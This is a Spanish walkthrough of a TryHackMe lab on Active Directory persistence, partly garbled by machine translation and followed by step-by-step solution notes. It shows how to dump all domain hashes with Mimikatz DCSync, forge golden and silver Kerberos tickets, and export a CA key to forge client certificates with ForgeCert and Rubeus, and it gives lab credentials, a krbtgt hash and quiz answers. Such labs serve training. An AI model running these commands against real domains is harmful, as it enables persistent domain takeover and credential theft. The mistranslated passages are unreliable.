TryHackMe CompTIA Pentest+ Persisting Active Directory

Hola hacketones! Bienvenidos a un nuevo CTF veremos: TryHackMe CompTIA Pentest+ Persisting Active Directory 

Directorio activo persistente

Aprenda sobre las técnicas comunes de persistencia de Active Directory que se pueden utilizar después de una intrusión para garantizar que el equipo azul no pueda expulsarlo durante un ejercicio del equipo rojo.

Tarea 1 Introducción

Esta red es la continuación de la Brechas, Enumeración, y Explotación. redes. Por favor, asegúrate de completar estas redes antes de continuar con este. Además, ten en cuenta que lo discutiremos AD. objetos extensos. Si necesitas un repaso, echa un vistazo rápido a esta habitación. Ahora que hemos explotado AD. y hemos alcanzado algunas posiciones desde las que podemos ejecutar nuestros objetivos, debemos asegurarnos de desplegarnos Persistencia para asegurarse de que el Equipo azul No puedes simplemente echarnos. En esta red, exploraremos varios métodos diferentes que podrían usarse para persistir en AD. 

AD Persistencia

Durante nuestro ataque contra AD, tenemos que asegurarnos de desplegarnos Persistencia. Esto garantizará que el Equipo azul No puedes echarnos simplemente rotando algunas credenciales. Como se mencionó antes, el proceso de compromiso AD. es cíclico. Nos desplegaríamos Persistencia A medida que comprometemos el AD. y no solo al final. Esto asegura que si uno de nuestros puestos se quema por el Equipo azul, tenemos varias opciones de respaldo. En esto Persistencia Utilizaremos varias técnicas que pueden garantizar que nuestro acceso no pueda ser simplemente revocado. Estos Persistencia Las técnicas dependen de los permisos y privilegios específicos que hemos adquirido hasta ahora.

Tarea 2 Persistencia a través de las credenciales

Felicidades

¡Felicidades, viajero cansado! Después de infringir, realizando enumeración y explotándola hasta llegar a la cima (si has hecho esto en orden), finalmente has llegado a la taberna de persistencia El trabajo duro ha terminado y ahora es momento de divertirse. Sigue siendo un asunto serio, pero en realidad no es tan estresante como las otras fases. Aquí podemos dejar fluir nuestra creatividad libremente. Así que descansa tus cansados ​​huesos en nuestra taberna, sírvete una buena taza de té y comencemos.

Junto con sus credenciales de bajo privilegio, se le proporcionarán credenciales de administrador de dominio. ¡Qué suerte! Al hablar de persistencia técnicas, utilizará las credenciales privilegiadas para realizar la persistencia Técnica en su conjunto de credenciales de bajo privilegio. Tome nota de la siguiente cuenta DA:

Nombre de usuario: Administrator

Contraseña:tryhackmewouldnotguess1@

Dominio: ZA

Dado que le proporcionamos acceso completo a todo el dominio, no podemos ocultarle ninguna bandera ni obligarle a que realice usted mismo estas técnicas de persistencia antes de responder las preguntas. Sin embargo, le recomendamos que se tome su tiempo para dominar estos métodos, ya que le serán de gran utilidad en una evaluación del equipo rojo cuando el equipo azul comience a ponerle obstáculos.

La primera y menos fiable técnica de persistencia que analizaremos son las credenciales. Varias de las técnicas laterales descritas en sesiones anteriores habrían permitido al atacante acceder a ellas. Si bien el término «credenciales» puede referirse a un nombre de usuario y una contraseña, en el contexto de Active Directory, incluso el hash de la contraseña es suficiente para la autenticación mediante técnicas de ataque de hash.

Sincronización de AD

En grandes organizaciones, no basta con tener un único controlador de dominio por dominio. Estos dominios suelen utilizarse en varias ubicaciones regionales, y tener un solo controlador de dominio retrasaría significativamente los servicios de autenticación en Active Directory. Por ello, estas organizaciones utilizan varios controladores de dominio. La pregunta entonces es: ¿cómo es posible autenticarse con las mismas credenciales en dos oficinas diferentes?

La respuesta a esa pregunta es la replicación de dominio. Cada controlador de dominio ejecuta un proceso llamado Comprobador de coherencia de conocimiento (KCC). El KCC genera una topología de replicación para el bosque de Active Directory y se conecta automáticamente a otros controladores de dominio mediante llamadas a procedimiento remoto (RPC) para sincronizar la información. Esto incluye información actualizada, como la nueva contraseña del usuario, y nuevos objetos, como la creación de un nuevo usuario. Por eso, normalmente hay que esperar un par de minutos antes de autenticarse después de cambiar la contraseña, ya que el controlador de dominio donde se realizó el cambio podría no ser el mismo que el de la autenticación.

El proceso de replicación se denomina sincronización de controladores de dominio (DC). No solo los controladores de dominio pueden iniciar la replicación. Las cuentas que pertenecen a grupos de administradores de dominio también pueden hacerlo con fines legítimos, como la creación de un nuevo controlador de dominio.

Un ataque común es el ataque de sincronización de controlador de dominio (DC Sync). Si tenemos acceso a una cuenta con permisos de replicación de dominio, podemos realizar un ataque DC Sync para obtener credenciales de un controlador de dominio.

No todas las credenciales son iguales.

Antes de iniciar nuestro ataque de sincronización de controladores de dominio, analicemos primero qué credenciales podríamos buscar. Si bien siempre debemos intentar obtener credenciales con privilegios, como las de los miembros del grupo Administradores de dominio, estas también son las primeras en ser rotadas (un término utilizado por el equipo de seguridad para referirse al restablecimiento de la contraseña de la cuenta). Por lo tanto, si solo contamos con credenciales con privilegios, es muy probable que, en cuanto el equipo de seguridad nos descubra, roten esas cuentas y podamos perder el acceso.

El objetivo, entonces, es persistir con credenciales casi privilegiadas. No siempre necesitamos todas las claves del sistema; solo necesitamos las suficientes para asegurarnos de poder seguir ejecutando el objetivo y mantener al equipo de seguridad siempre alerta. Por lo tanto, deberíamos intentar persistir con credenciales como las siguientes:

• Credenciales con derechos de administrador local en varias máquinas. Normalmente, las organizaciones cuentan con uno o dos grupos con derechos de administrador local en casi todos los ordenadores. Estos grupos suelen dividirse en uno para estaciones de trabajo y otro para servidores. Al obtener las credenciales de los miembros de estos grupos, aún tendríamos acceso a la mayoría de los ordenadores de la red.
• Cuentas de servicio con permisos de delegación. Con estas cuentas, podríamos forzar a los tickets dorados y plateados a realizar ataques de delegación de Kerberos.
• Cuentas utilizadas para servicios de Active Directory con privilegios. Si comprometemos las cuentas de servicios con privilegios como Exchange, Windows Server Update Services (WSUS) o System Center Configuration Manager (SCCM), podríamos aprovechar la vulnerabilidad de Active Directory para obtener nuevamente acceso privilegiado.

En cuanto a qué credenciales descartar y cuáles conservar, depende de muchos factores. Tendrás que ser creativo y analizar cada caso individualmente. Sin embargo, en esta sala, nos vamos a divertir, a poner nerviosos al equipo azul y a descartar todas las credenciales que podamos.

DCSync All

Usaremos Mimikatz para obtener credenciales. Conéctese a THMWRK1 mediante SSH usando la cuenta DA y cargue Mimikatz:

Comencemos realizando unacorriente continuaSincronización de una única cuenta, la nuestra:

Verás bastante salida de emisión, incluida la corriente NTLM Hash de tu cuenta. Puedes verificar que el NTLM hash es correcto usando un Sitio web como este  para transformar tu contraseña en una NTLM Hachís.

Esto está genial y todo eso, pero queremos hacerlo DC Sincroniza todas las cuentas. Para ello, tendremos que habilitar el inicio de sesión en Mimikatz:

Mimikatz Terminal

mimikatz # log <username>_dcdump.txt
Using ‘<username>_dcdump.txt’ for logfile: OK

Asegúrate de cambiar <nombre de usuario> por tu nombre de usuario para no sobrescribir el volcado de logs de otros usuarios. Ahora, en lugar de especificar nuestra cuenta, usaremos la bandera /all:

Mimikatz Terminal

mimikatz # lsadump::dcsync /domain:za.tryhackme.loc /all

Esto llevará un poco de tiempo completarlo. Cuando termines, sal de Mimikatz para finalizar el volcado y luego puedes descargar el archivo <nombre de usuario>_dcdump.txt. Puedes usarlos para recuperar todos los nombres de usuario y para todos los hashes. Ahora podemos realizar un ataque de descifrado de contraseñas offline para recuperar las credenciales en texto plano o simplemente realizar un ataque de pasar el hash con Mimikatz.cat <username>_dcdump.txt | grep «SAM Username»cat <username>_dcdump.txt | grep «Hash NTLM»

Responda las siguientes preguntas

¿Cuál es el comando de Mimikatz para realizar una sincronización de dominio (DCSync) para el nombre de usuario «test» en el dominio za.tryhackme.loc?

lsadump::dcsync /domain:za.tryhackme.loc /user:test

¿Cuál es el hash NTLM asociado al usuario krbtgt?

16f9af38fca3ada405386b3b57366082

Setup inicial — nueva red za.tryhackme.loc

IPs de la red:

• THMCHILDDC: 10.200.73.101
• THMROOTDC: 10.200.73.100
• THMSERVER1: 10.200.73.201
• THMSERVER2: 10.200.73.202
• THMWRK1: 10.200.73.248

PASO 1 — Configurá DNS

bash

sed -i ‘1s|^|nameserver 10.200.73.101\n|’ /etc/resolv-dnsmasq
nslookup thmdc.za.tryhackme.loc

PASO 2 — Agregá hosts

bash

echo «10.200.73.101 za.tryhackme.loc THMCHILDDC thmdc.za.tryhackme.loc» >> /etc/hosts
echo «10.200.73.248 thmwrk1.za.tryhackme.loc» >> /etc/hosts
echo «10.200.73.248 distributor.za.tryhackme.loc» >> /etc/hosts

PASO 3 — Conseguí credenciales
http://distributor.za.tryhackme.loc/creds

PASO 4 — SSH a THMWRK1 como Administrator

bash

ssh za\\Administrator@thmwrk1.za.tryhackme.loc
# Password: tryhackmewouldnotguess1@

PASO 5 — Corré mimikatz

cmd

C:\Tools\mimikatz_trunk\x64\mimikatz.exe

PASO 6 — Primera pregunta (comando DCSync)
lsadump::dcsync /domain:za.tryhackme.loc /user:test
PASO 7 — DCSync del krbtgt para el hash
lsadump::dcsync /domain:za.tryhackme.loc /user:krbtgt

Anotá el Hash NTLM del output.

Empezá con el PASO 1 y 3. ¿Qué usuario te da el distributor?

El problema y cómo solucionarlo

El error ERROR_NOT_UNIQUE en Mimikatz ocurre porque no puede resolver el nombre krbtgt sin especificar el DC explícitamente. Hay dos soluciones:

Opción 1 — Especificar el DC directamente (recomendada)

mimikatz # lsadump::dcsync /domain:za.tryhackme.loc /dc:THMDC.za.tryhackme.loc /user:krbtgt

Opción 2 — Volcar todo y filtrar

Si sigue fallando, volcá todo y buscás después:

mimikatz # log krbtgt_dump.txt
mimikatz # lsadump::dcsync /domain:za.tryhackme.loc /dc:THMDC.za.tryhackme.loc /all
mimikatz # exit

Luego en la terminal de Windows:

cmd

type krbtgt_dump.txt | findstr /i «krbtgt»

O en Linux/AttackBox:

bash

cat krbtgt_dump.txt | grep -A 10 «SAM Username.*krbtgt»

Por qué funciona agregar /dc:

Mimikatz necesita contactar un DC para hacer el DCSync. Sin especificarlo, intenta resolver el nombre del usuario via DNS y falla si hay ambigüedad en el entorno. Forzando THMDC.za.tryhackme.loc le decís exactamente con quién hablar. Una vez que corra, buscás la línea Hash NTLM: en el output del usuario krbtgt — ese es el valor que necesitás para la pregunta.

El archivo está en Windows, así que usamos findstr mejor

El findstr solo mostró las líneas con «krbtgt» pero no las líneas del hash. Necesitás mostrar las líneas siguientes también. En Windows cmd:

cmd

type krbtgt_dump.txt | findstr /i /c:»krbtgt» /c:»Hash NTLM»

O mejor aún, abrí el archivo directo con more y buscá la sección krbtgt:

cmd

find «krbtgt» krbtgt_dump.txt

O el más efectivo — mostrar contexto alrededor de krbtgt:

powershell

powershell -command «Get-Content krbtgt_dump.txt | Select-String -Pattern ‘krbtgt|Hash NTLM’ -Context 0,2»

Pero mirando tu captura, el dump volcó todo al log antes de que especificaras /user:krbtgt. El hash de krbtgt debería estar en el archivo. Probá directamente:

cmd

powershell -command «Select-String -Path krbtgt_dump.txt -Pattern ‘Hash NTLM’ -Context 5,0 | Where-Object {$_.Context.PreContext -match ‘krbtgt’}»

O la más simple — abrí el archivo en notepad y buscá manualmente:

cmd

notepad krbtgt_dump.txt

Luego Ctrl+F → buscás krbtgt → bajás unas líneas hasta ver Hash NTLM.

Tarea 3 Persistencia a través de los boletos

Como se comentó en las tareas anteriores, a menudo queremos persistir a través de cuentas de servicio con permisos de delegación para falsificar boletos plateados y dorados. Pero, ¿qué son exactamente y por qué cada uno de ellos…equipo azul. El ejercicio de simulación de mesa termina con alguien gritando: «¡Descarten todos los boletos dorados y plateados!».

Entradas para la Fábrica de Chocolate

Antes de entrar en los boletos dorados y plateados, primero necesitamos hacer un breve repaso sobre Kerberos. El diagrama a continuación muestra el flujo normal para Kerberos:

El usuario realiza un AS-REQ al Centro de Distribución de Claves (KDC) en la DC Eso incluye una marca de tiempo cifrada con la del usuario NTLM Hachís. Básicamente, esta es la solicitud de un Ticket de Concesión de Tickets (TGT). El DC comprueba la información y envía el TGT al usuario. Esto TGT se firma con el hash de contraseña de la cuenta KRBTGT que solo se almacena en el DC. El usuario ahora puede enviar esto TGT a la DC para solicitar un Servicio de Concesión de Entradas (TGS) para el recurso al que el usuario desea acceder. Si el TGT Lo comproba, el DC responde a la TGS que está cifrado con el NTLM hash del servicio al que el usuario solicita acceso. El usuario entonces presenta esto TGS al servicio para el acceso, que puede verificar el TGS ya que conoce su propio hash y puede conceder acceso al usuario.

Con toda esa teoría de fondo, es hora de mirar las entradas de oro y plata.

Golden Tickets

Los Golden Tickets son TGTs falsificados. Esto significa que saltamos los pasos 1 y 2 del diagrama anterior, donde demostramos que DC Quién somos. Tener una validez TGT de una cuenta privilegiada, ahora podemos solicitar una TGS Para casi cualquier servicio que queramos. Para falsificar un billete dorado, necesitamos el hash de la contraseña de la cuenta KRBTGT para poder firmar un TGT para cualquier cuenta de usuario que queramos. Algunas notas interesantes sobre los Golden Tickets:

• Inyectando en esta fase del Kerberos No necesitamos el hash de la contraseña de la cuenta que queremos suplantar, ya que evitamos ese paso. El TGT solo se usa para demostrar que el KDC en un DC Lo firmó. Como estaba firmado por el hash KRBTGT, esta verificación pasa y el TGT se declara válido independientemente de su contenido.
• Hablando de contenido, el KDC solo validará la cuenta de usuario especificada en el TGT si tiene más de 20 minutos. Esto significa que podemos poner una cuenta desactivada, eliminada o inexistente en el TGT, y será válida siempre que aseguremos que la marca de tiempo no sea mayor de 20 minutos.
• Dado que las políticas y normas para los tickets se establecen en el TGT en sí mismo, podríamos sobrescribir los valores impulsados por el KDC, como, por ejemplo, que los billetes solo sean válidos durante 10 horas. Podríamos, por ejemplo, asegurar que nuestro TGT es válida por 10 años, lo que nos concede Persistencia.
• Por defecto, la contraseña de la cuenta KRBTGT nunca cambia, lo que significa que una vez que la tenemos, a menos que se rote manualmente, tenemos acceso persistente generando TGTs para siempre.
• El Equipo azul tendría que rotar la contraseña de la cuenta KRBTGT dos veces, ya que las contraseñas actual y anterior se mantienen válidas para la cuenta. Esto es para asegurar que la rotación accidental de la contraseña no afecte a los servicios.
• Rotar la contraseña de la cuenta KRBTGT es un proceso increíblemente doloroso para el Equipo azul ya que esto hará que una cantidad significativa de servicios en el entorno deje de funcionar. Creen que tienen un válido TGT, a veces durante las siguientes horas, pero eso TGT ya no es válida. No todos los servicios son lo suficientemente inteligentes como para lanzar el TGT ya no es válida (ya que la marca de tiempo sigue siendo válida) y por tanto no solicitará automáticamente una nueva TGT.
• Los billetes dorados incluso permitirían saltarte la autenticación con tarjeta inteligente, ya que la tarjeta inteligente se verifica mediante el DC antes de que se cree el TGT.
• Podemos generar un billete dorado en cualquier máquina, incluso en una que no esté unida a dominio (como nuestra propia máquina de ataque), lo que dificulta el trabajo Equipo azul detectar.

Aparte del hash de contraseña de la cuenta KRBTGT, solo necesitamos el nombre de dominio, el SID del dominio y el ID de usuario de la persona a la que queremos suplantar. Si estamos en una posición en la que podemos recuperar el hash de la contraseña de la cuenta KRBTGT, ya estaríamos en posición de recuperar las otras piezas de la información requerida.

Silver Tickets

Los Tickets de plata son falsificados TGS Entradas. Así que ahora, saltamos toda comunicación (paso 1-4 en el diagrama anterior) que habríamos tenido con el KDC en el DC y simplemente interactúan directamente con el servicio al que queremos acceder. Algunas notas interesantes sobre las entradas de plata:

• El generado TGS está firmado por la cuenta de máquina del host al que estamos apuntando.
• La principal diferencia entre los Billetes Dorados y Plata es el número de privilegios que adquirimos. Si tenemos el hash de contraseña de la cuenta KRBTGT, Puedes acceder a todo. Con un Billete de Plata, ya que solo tenemos Acceso al hash de contraseña de la cuenta de la máquina del servidor somos atacando, solo podemos hacernos pasar por usuarios en ese propio host. El alcance del Silver Ticket está limitado al servicio dirigido en el servidor específico.
• Desde que el TGS es falsificado, no hay asociado TGT, es decir, el DC nunca fue contactado. Esto hace que el ataque sea increíblemente peligroso, ya que los únicos registros disponibles estarían en el servidor objetivo. Así que, aunque el alcance es más limitado, es significativamente más difícil para el Equipo azul detectar.
• Dado que los permisos se determinan a través de SIDs, podemos crear de nuevo un usuario inexistente para nuestro ticket plata, siempre que aseguremos que el ticket tenga los SID correspondientes que incluyan al usuario en el grupo de administradores locales del anfitrión.
• La contraseña de la cuenta de la máquina suele rotarse cada 30 días, lo cual no sería bueno para Persistencia. Sin embargo, podríamos aprovechar el acceso a nuestro TGS permite acceder al registro del anfitrión y modificar el parámetro responsable de la rotación de contraseñas de la cuenta de la máquina. Así, asegurando que la cuenta de la máquina permanezca estática y concediéndonos Persistencia En la máquina.
• Aunque tener acceso a un único host pueda parecer un retroceso significativo, las cuentas de máquina pueden usarse con normalidad D.C. cuentas, que te permiten no solo acceso administrativo al host, sino también los medios para seguir enumerando y explotando D.C. como harías con un D.C. cuenta de usuario.

Falsificar entradas por diversión y beneficio

Ahora que hemos explicado lo básico de los Billetes Dorados y Plata, vamos a generar algunos. Vas a necesitar el NTLM hash de la cuenta KRBTGT, que ahora deberías tener debido a la DC Sincronización realizada en la tarea anterior. Además, toma nota de la NTLM Hash asociado a la cuenta de THMSERVER1 Machine, ya que necesitaremos esta para nuestro billete plateado. Puedes encontrar esta información en el DC que tú realizaste. La última información que necesitamos es el SID de dominio. Usando a nuestros pocos privilegiados SSH terminal en THMWRK1, podemos usar el D.C.-Orden de RSAT para recuperar esta información:

Ahora que tenemos toda la información necesaria, podemos relanzar Mimikatz:

Una vez cargado Mimikatz, realice lo siguiente para generar un boleto dorado:

Terminal Mimikatz

mimikatz # kerberos::golden /admin:ReallyNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:<DomainSID>/krbtgt:<NTLMhashofKRBTGTaccount>/endin:600 /renewmax:10080 /ptt

Parámetros explicados:

• /admin – El nombre de usuario que queremos suplantar. No tiene por qué ser un usuario válido.
• /dominio – El FQDN del dominio para el que queremos generar el ticket.
• /id – El RID del usuario. Por defecto, Mimikatz utiliza el RID 500, que es el RID predeterminado de la cuenta de administrador.
• /sid -El SID del dominio para el que queremos generar el ticket.
• /krbtgt -ElNTLMHash de la cuenta KRBTGT.
• /endin – La duración del ticket. Por defecto, Mimikatz genera un ticket que es válido por 10 años. El valor predeterminado de AD es de 10 horas (600 minutos).
• /renewmax – La duración máxima del ticket con renovación. Por defecto, Mimikatz genera un ticket válido por 10 años. El valor predeterminado de AD es de 7 días (10080 minutos).
• /ptt – Esta bandera le indica a Mimikatz que inyecte el ticket directamente en la sesión, lo que significa que está listo para ser utilizado.

Podemos verificar que el ticket dorado funciona ejecutando el comando dir en el controlador de dominio:

Terminal

za\aaron.jones@THMWRK1 C:\Users\Administrator.ZA>dir \\thmdc.za.tryhackme.loc\c$\

Aunque el ticket dorado tenga una validez increíblemente larga, el equipo azul aún puede defenderse simplemente cambiando la contraseña KRBTGT dos veces. Si realmente queremos profundizar en el tema, debemos generar tickets plateados, que son menos propensos a ser descubiertos y significativamente más difíciles de contrarrestar, ya que las contraseñas de cada cuenta de máquina deben cambiarse. Podemos usar el siguiente comando de Mimikatz para generar un ticket plateado:

Terminal Mimikatz

mimikatz # kerberos::golden /admin:StillNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:<DomainSID>/target:<Hostnameofserverbeingtargeted>/rc4:<NTLMHashofmachineaccountoftarget>/service:cifs /ptt

Parámetros explicados:

• /admin – El nombre de usuario que queremos suplantar. No tiene por qué ser un usuario válido.
• /dominio – El FQDN del dominio para el que queremos generar el ticket.
• /id – El RID del usuario. Por defecto, Mimikatz utiliza el RID 500, que es el RID predeterminado de la cuenta de administrador.
• /sid -El SID del dominio para el que queremos generar el ticket.
• /target – El nombre de host de nuestro servidor objetivo. Usemos THMSERVER1.za.tryhackme.loc, pero puede ser cualquier host unido al dominio.
• /rc4 – ElNTLMhash de la cuenta de máquina de nuestro objetivo. Revise los resultados de su sincronización de DC para obtener el NTLM Hash de THMSERVER1$. El símbolo $ indica que se trata de una cuenta de máquina.
• /service – El servicio que solicitamos en nuestro TGS. CIFS es una apuesta segura, ya que permite el acceso a archivos.
• /ptt – Esta bandera le indica a Mimikatz que inyecte el ticket directamente en la sesión, lo que significa que está listo para ser utilizado.

Podemos verificar que el ticket plateado funciona ejecutando el comando dir en THMSERVER1:

Terminal

za\aaron.jones@THMWRK1 C:\Users\Administrator.ZA>dir \\thmserver1.za.tryhackme.loc\c$\

Ahora tenemos entradas doradas y plateadas para la D.C. Medio ambiente, proporcionando una mejor Persistencia ¡Que solo credenciales!

Responda las siguientes preguntas

¿Qué hash NTLM de la cuenta de AD se utiliza para firmar los tickets de Kerberos?

krbtgt

¿Cómo se llama un boleto que suplanta la identidad de un TGT legítimo?

Golden ticket

¿Cómo se llama un boleto que suplanta la identidad de un TGS legítimo?

Silver ticket

¿Cuál es la vida útil predeterminada (en años) de un boleto dorado generado por Mimikatz?

10

Paso a paso — Tarea 3: Golden & Silver Tickets

Paso 1 — Reunir la info necesaria

Necesitás 3 cosas del dump anterior:

1. Hash NTLM de krbtgt → ya lo tenés del DCSync anterior

2. Hash NTLM de THMSERVER1$ → buscalo en el dump:

cmd

type krbtgt_dump.txt | findstr /i «THMSERVER1»

Luego buscá el hash en las líneas siguientes con notepad.

3. SID del dominio → en tu terminal SSH con tu usuario bajo privilegio:

powershell

powershell
Get-ADDomain

Copiá el valor de DomainSID: S-1-5-21-3885271727-2693558621-2658995185

Paso 2 — Golden Ticket

Conectate a THMWRK1 con tu usuario bajo privilegio (no DA):

cmd

C:\Tools\mimikatz_trunk\x64\mimikatz.exe
mimikatz # kerberos::golden /admin:ReallyNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:S-1-5-21-3885271727-2693558621-2658995185 /krbtgt:<TU_HASH_KRBTGT> /endin:600 /renewmax:10080 /ptt

Verificá que funciona:

cmd

dir \\thmdc.za.tryhackme.loc\c$\

Si ves el contenido del C:\ del DC → ✅ Golden Ticket funcionando

Paso 3 — Silver Ticket
mimikatz # kerberos::golden /admin:StillNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:S-1-5-21-3885271727-2693558621-2658995185 /target:THMSERVER1.za.tryhackme.loc /rc4:<HASH_NTLM_THMSERVER1$> /service:cifs /ptt

Verificá:

cmd

dir \\thmserver1.za.tryhackme.loc\c$\

Tip clave 🔑

El $ al final de THMSERVER1$ en el dump indica que es una cuenta de máquina, no de usuario. Asegurate de buscar exactamente ese nombre en el archivo dump.

Tarea 4 Persistencia a través de certificados

Una breve nota. Las técnicas que se describen a partir de ahora son increíblemente invasivas y difíciles de eliminar. Incluso si su ejercicio de equipo rojo le permite realizar estas técnicas, debe extremar las precauciones. En escenarios reales, la explotación de la mayoría de estas técnicas resultaría en la reconstrucción completa del dominio. Asegúrese de comprender completamente las consecuencias de usar estas técnicas y solo realícelas si cuenta con la aprobación previa de su evaluación y se consideran necesarias. En la mayoría de los casos, un ejercicio de equipo rojo se deshabilitaría en este punto en lugar de utilizar estas técnicas. Es decir, lo más probable es que no solo las realice, sino más bien simularlas.

En última instancia pueden rotar suficientes credenciales para echarnos. Así que, si bien estas técnicas son estupendas para mantener la equipo azul ocupados mientras los mantenemos ocupados, deberíamos buscar usar persistencia  que no dependen de credenciales, lo que significa que su rotación no nos dejará fuera de servicio. La primera que analizaremos son los certificados.

El regreso de AD CS

Aprovechamos los certificados para convertirnos en administradores de dominio. Sin embargo, los certificados también se pueden utilizar para persistencia. Todo lo que necesitamos es un certificado válido que pueda usarse para la autenticación del cliente. Esto nos permitirá usar el certificado para solicitar un TGT ¿La ventaja de esto? Podemos seguir solicitando TGT sin importar cuántas rotaciones realicen en la cuenta que estamos atacando. La única forma de que nos expulsen es si revocan el certificado que generamos o si este caduca. Esto significa que probablemente tendremos acceso permanente por defecto durante aproximadamente los próximos 5 años.

Dependiendo de nuestro acceso, podemos ir un paso más allá. Podríamos simplemente robar la clave privada del administrador. CA para generar nuestros propios certificados cuando queramos. Peor aún, dado que estos certificados nunca fueron emitidos por el CA, el equipo azul no tiene capacidad para revocarlos. Esto sería aún peor para el equipo azul ya que implicaría una rotación de la CA, lo que significa que todos los certificados emitidos tendrían que ser revocados por el equipo azul para echarnos. Imagina que acabas de pasar los últimos dos días realizando una recuperación de dominio rotando las credenciales de cada cuenta de privilegios, restableciendo todos los tickets dorados y plateados, solo para darte cuenta de que los atacantes persistieron convirtiéndose en tu CA

Extracción de la clave privada

La clave privada de la CA se almacena en el CA el propio servidor. Si la clave privada no está protegida mediante métodos de protección basados ​​en hardware, como un Módulo de Seguridad de Hardware (HSM), lo cual suele ser el caso de las organizaciones que solo utilizan los Servicios de Certificados de Active Directory ( CS) para fines internos, está protegido por la protección de datos de la máquina. API(DPAPI). Esto significa que podemos usar herramientas como Mimikatz y SharpDPAPI para extraer el CA  certificado y por lo tanto la clave privada del CA Mimikatz es la herramienta más sencilla de usar, pero si quieres probar otras herramientas, echa un vistazo aquí . . Usar SSH Para autenticarse en THMDC.za.tryhackme.loc usando las credenciales de administrador de la Tarea 2, cree un directorio único para su usuario, acceda a él y cargue Mimikatz:

Primero veamos si podemos ver los certificados almacenados en elcorriente continua:

Podemos ver que hay un CA certificado en el DC También podemos observar que algunos de estos certificados estaban configurados para no permitirnos exportar la clave. Sin esta clave privada, no podríamos generar nuevos certificados. Por suerte, Mimikatz nos permite modificar la memoria para que estas claves sean exportables.

Si aparece un error, no se preocupe, simplemente significa que alguien más ejecutó el parche antes que usted. Una vez parcheados estos servicios, podemos usar Mimikatz para exportar los certificados:

Los certificados exportados se almacenarán en disco en formato PFX y DER:

El za-THMDC-CA.pfx certificado es el que nos interesa particularmente. Para exportar la clave privada, se debe usar una contraseña para cifrar el certificado. Por defecto, Mimikatz asigna la contraseña mimikatz. Descargue o copie este certificado a su AttackBox usando SCP y luego cópielo al directorio personal de su usuario con privilegios limitados en THMWRK1. Si lo prefiere, también puede realizar el resto de los pasos en su propia máquina Windows que no esté unida al dominio.

Generación de nuestros propios certificados

Ahora que tenemos la clave privada y el certificado raíz de la CA, podemos usar SpectorOps ForgeCert. Herramienta para generar un certificado de autenticación de cliente para cualquier usuario. Los binarios de ForgeCert y Rubeus se encuentran en el directorio C:\Tools\ de THMWRK1. Usemos ForgeCert para generar un nuevo certificado:

Terminal

za\aaron.jones@THMWRK1 C:\Users\aaron.jones>C:\Tools\ForgeCert\ForgeCert.exe –CaCertPath za-THMDC-CA.pfx –CaCertPassword mimikatz –Subject CN=User –SubjectAltName Administrator@za.tryhackme.loc –NewCertPath fullAdmin.pfx –NewCertPassword Password123

Parámetros explicados:

• CaCertPath: la ruta a nuestro certificado exportado CA certificado.
• CaCertPassword : la contraseña utilizada para cifrar el certificado. Por defecto, Mimikatz asigna la contraseña de mimikatz.
• Asunto : El nombre común o tema del certificado. Esto no tiene mucha importancia en el contexto del uso que le daremos al certificado.
• SubjectAltName : Este es el nombre principal de usuario (UPN) de la cuenta que queremos suplantar con este certificado. Debe ser un usuario legítimo.
• NewCertPath : la ruta donde ForgeCert almacenará el certificado generado.
• NuevaContraseñaDelCertificado : Dado que el certificado requerirá la clave privada exportada para fines de autenticación, debemos establecer una nueva contraseña que se utilizará para cifrarlo.

Podemos usar Rubeus para solicitar un TGT usando el certificado para verificar que el certificado es de confianza. Usaremos el siguiente comando:

C:\Tools\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:<path to certificate> /password:<certificate file password> /outfile:<name of file to write TGT to> /domain:za.tryhackme.loc /dc:<IP of domain controller>

Analicemos los parámetros:

• /user – Esto especifica el usuario que suplantaremos y debe coincidir con el UPN del certificado que generamos.
• /enctype : esto especifica el tipo de cifrado para el ticket. Configurar esto es importante para la evasión, ya que el algoritmo de cifrado predeterminado es débil, lo que resultaría en una alerta de overpass-the-hash.
• /certificado – Ruta al certificado que hemos generado
• /password – La contraseña para nuestro archivo de certificado
• /outfile – El archivo donde se encuentra nuestroTGTserá la salida a
• /dominio – El FQDN del dominio que estamos atacando actualmente
• /corriente continua – La IP del controlador de dominio que estamos solicitando TGT de. Por lo general, lo mejor es seleccionar un DC que tiene un servicio CA en ejecución

Una vez que ejecutemos el comando, deberíamos recibir nuestro TGT:

Terminal

za\aaron.jones@THMWRK1 C:\Users\aaron.jones>C:\Tools\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:vulncert.pfx /password:tryhackme /outfile:administrator.kirbi /domain:za.tryhackme.loc /dc:10.200.x.101

Ahora podemos usar Mimikatz para cargar elTGTy autenticarse en THMDC:

Terminal

Ya no somos amigos del Equipo Azul

Certificado persistencia es significativamente más difícil defenderse. Incluso si se cambian las credenciales de la cuenta comprometida, el certificado seguirá siendo válido. La única forma de eliminarlo es persistencia es emitir una revocación del certificado. Sin embargo, esto solo sería posible si generamos el certificado a través de canales legítimos. Dado que exportamos el CA y generamos el certificado nosotros mismos, no aparece en Lista de certificados emitidos por CS, lo que significa que equipo azul no podrá revocar nuestro certificado.

Entonces, ¿cuál es la única solución para eliminar el? Persistencia Bueno, por eso ya no somos amigos. Tendrán que revocar la raíz. CA certificado. Pero revocar este certificado significa que todos los certificados emitidos por CS quedaría invalidado repentinamente. Esto significa que tendrán que generar un nuevo certificado para cada sistema que lo utilice. CS. Deberías empezar a ver por qué este tipo de persistencia Es increíblemente peligroso y requeriría la reconstrucción completa de los sistemas si se llevara a cabo.

Responda las siguientes preguntas

¿Qué llave se utiliza para firmar los certificados y demostrar su autenticidad?

Private Key

¿Qué aplicación podemos usar para falsificar un certificado si tenemos el certificado de la CA y la clave privada?

ForgeCert.exe

¿Cuál es el comando de Mimikatz para pasar un ticket desde un archivo con el nombre ticket.kirbi?

kerberos::ptt ticket.kirbi

Paso a paso — Tarea 4: Persistencia con Certificados

Las preguntas de teoría (están en el texto)

Pregunta	Respuesta
¿Qué llave firma los certificados?	Private Key
¿App para falsificar certificados?	ForgeCert.exe
Comando Mimikatz para pasar ticket	kerberos::ptt ticket.kirbi

Paso 1 — Conectarse al DC como Administrator y exportar el cert CA

bash

ssh za\\administrator@thmdc.za.tryhackme.loc
# Password: tryhackmewouldnotguess1@

En la sesión del DC:

cmd

mkdir <tuUsername>
cd <tuUsername>
C:\Tools\mimikatz_trunk\x64\mimikatz.exe
Dentro de Mimikatz:
